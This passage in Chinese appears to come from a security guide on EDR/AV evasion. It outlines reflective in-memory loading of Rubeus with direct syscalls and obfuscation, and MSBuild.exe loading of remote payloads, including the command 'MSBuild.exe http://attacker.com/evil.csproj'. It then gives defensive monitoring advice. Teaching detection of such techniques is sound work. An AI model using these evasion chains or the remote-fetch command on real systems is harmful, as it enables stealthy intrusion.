Rubeus.exe 工具中,將關鍵的 API 呼叫 (例如 `CreateProcess`, `VirtualAlloc`, `WriteProcessMemory`, `NtReadVirtualMemory` 等) 替換為 Syscall 直接呼叫,繞過 Ntdll API Hook。 * **程式碼混淆:** 對 C# Loader 程式碼和 Rubeus.exe 工具的原始碼進行程式碼混淆和字串加密處理,降低靜態分析和特徵碼偵測的機率。 * **執行流程:** * 編譯混淆後的 C# Loader 程式碼。 * 執行 C# Loader 程式。 * Loader 程式反射式載入 Rubeus.exe 的 Assembly。 * Rubeus.exe 在記憶體中執行,進行 Kerberos 攻擊操作 (例如 Kerberoasting)。 * Rubeus.exe 的關鍵 API 呼叫透過 Syscall 直接呼叫方式實現,繞過 Ntdll Hook。 * Rubeus.exe 的輸出結果輸出或回傳給攻擊者。 * **優勢:** 綜合利用反射式載入、Syscall 直接呼叫和程式碼混淆技術,可以有效降低被基於檔案掃描、API Hook 監控和靜態分析的 EDR 系統偵測到的機率。 3. **LoLBins + 程式碼混淆 + 遠端 Payload 載入**: * **目標:** 在目標系統上執行惡意 Payload,並盡可能偽裝成正常系統行為,繞過 EDR 偵測。 * **技術組合:** * **LoLBins (MSBuild.exe):** 使用 `MSBuild.exe` 作為 Loader 程序,載入和執行惡意 Payload。`MSBuild.exe` 是系統合法工具,且常用於軟體開發,具有較好的偽裝性。 * **程式碼混淆:** 將惡意 Payload (例如 C# 程式碼片段) 進行程式碼混淆和字串加密處理,降低靜態分析和特徵碼偵測的機率。 * **遠端 Payload 載入:** 將混淆後的惡意 Payload 儲存在遠端伺服器上,`MSBuild.exe` 從遠端下載並載入 Payload,避免 Payload 落地到目標系統磁碟。 * **執行流程:** * 準備一個惡意的 .csproj 專案檔案,其中包含混淆後的 C# 程式碼片段,程式碼功能為從遠端伺服器下載並執行真正的惡意 Payload (例如 shellcode 或 Assembly)。 * 將惡意的 .csproj 檔案託管在 Web 伺服器上。 * 在目標系統上執行命令: `MSBuild.exe http://attacker.com/evil.csproj` * `MSBuild.exe` 從指定 URL 下載 evil.csproj 專案檔案。 * `MSBuild.exe` 編譯並執行 evil.csproj 專案檔案中的 C# 程式碼。 * C# 程式碼從遠端伺服器下載真正的惡意 Payload。 * C# 程式碼在記憶體中執行惡意 Payload (例如 shellcode 注入或反射式 Assembly 載入)。 * **優勢:** 利用 `MSBuild.exe` 這個 LoLBin 作為 Loader,可以偽裝成正常的軟體編譯過程。程式碼混淆降低靜態偵測機率,遠端 Payload 載入避免 Payload 落地。綜合利用這些技術,可以提高攻擊的隱蔽性。 --- ## 防禦與偵測建議 (補充) 為了有效應對上述 EDR/AV 繞過技術,防禦方應採取多層次、縱深防禦策略: 1. **加強 AMSI 和 ETW 監控與保護**: * **強化 AMSI 提供者 (Antimalware Provider):** 持續更新 AMSI 提供者的特徵庫和掃描引擎,提高對新型惡意腳本和繞過技術的檢測能力。 * **監控 AMSI 繞過行為:** EDR 系統應監控針對 `amsi.dll` 記憶體區域的修改行為,以及對 AMSI 相關 API 的異常調用。 * **ETW Provider 完整性檢查:** 定期檢查 ETW Provider 的配置和狀態,確保關鍵 Provider 正常運行,沒有被禁用或損壞。 * **監控 ETW 繞過行為:** EDR 系統應監控針對 `ntdll.dll` 記憶體區域的修改行為,以及對 ETW 相關 API 的異常調用。 * **行為分析與關聯:** 即使攻擊者繞過了 AMSI 和 ETW,EDR 系統仍然可以透過行為分析和事件關聯,基於其他監控數據 (例如程序行為、網路連線、檔案操作) 偵測可疑活動。 2. **強化 PowerShell 監控與限制**: * **限制 PowerShell 的使用:** 對於非必要的系統,應盡可能限制 PowerShell 的使用,僅允許授權用戶和應用程式使用。 * **AppLocker 或其他應用程式控制:** 使用 AppLocker 或其他應用程式控制機制,限制可執行的 PowerShell 版本和腳本路徑,並設置強制的程式碼簽章策略。 * **PowerShell 腳本日誌記錄與審計:** 啟用 PowerShell 腳本日誌記錄和審計功能,記錄所有 PowerShell 指令碼的執行細節,便於事後分析和追溯。 * **Runspace 行為監控:** EDR 系統應監控 .NET 應用程式中 Runspace 的創建和使用行為,以及 Runspace 中執行的 PowerShell 指令碼內容。 3. **嚴格控制 LoLBins 的使用**: * **LoLBins 清單管理:** 建立 LoLBins 白名單和黑名單,明確允許和禁止使用的系統工具。 * **行為監控與異常檢測:** EDR 系統應監控 LoLBins 的命令行參數、執行行為、網路連線等,建立基線行為模型,檢測異常的 LoLBins 使用行為。 * **最小權限原則:** 遵循最小權限原則,限制用戶和應用程式使用 LoLBins 的權限,降低 LoLBins 被濫用的風險。 * **定期審計與告警:** 定期審計 LoLBins 的使用情況,並對異常的 LoLBins 使用行為發出告警。 4. **加強記憶體掃描與分析能力**: * **強化記憶體掃描引擎:** 持續更新記憶體掃描引擎,提高對記憶體中惡意程式碼和行為的檢測能力,包括反射式載入的 Assembly, shellcode, 以及其他 in-memory attack 技術。 * **行為記憶體分析 (Behavioral Memory Analysis):** 結合行為監控和記憶體分析技術,不僅掃描記憶體中的靜態特徵,更要分析記憶體中的程序行為模式,檢測異常的記憶體操作和惡意行為。 * **動態分析與沙箱技術:** 結合動態分析和沙箱技術,對可疑程式碼進行動態執行和行為分析,更全面地評估其惡意性。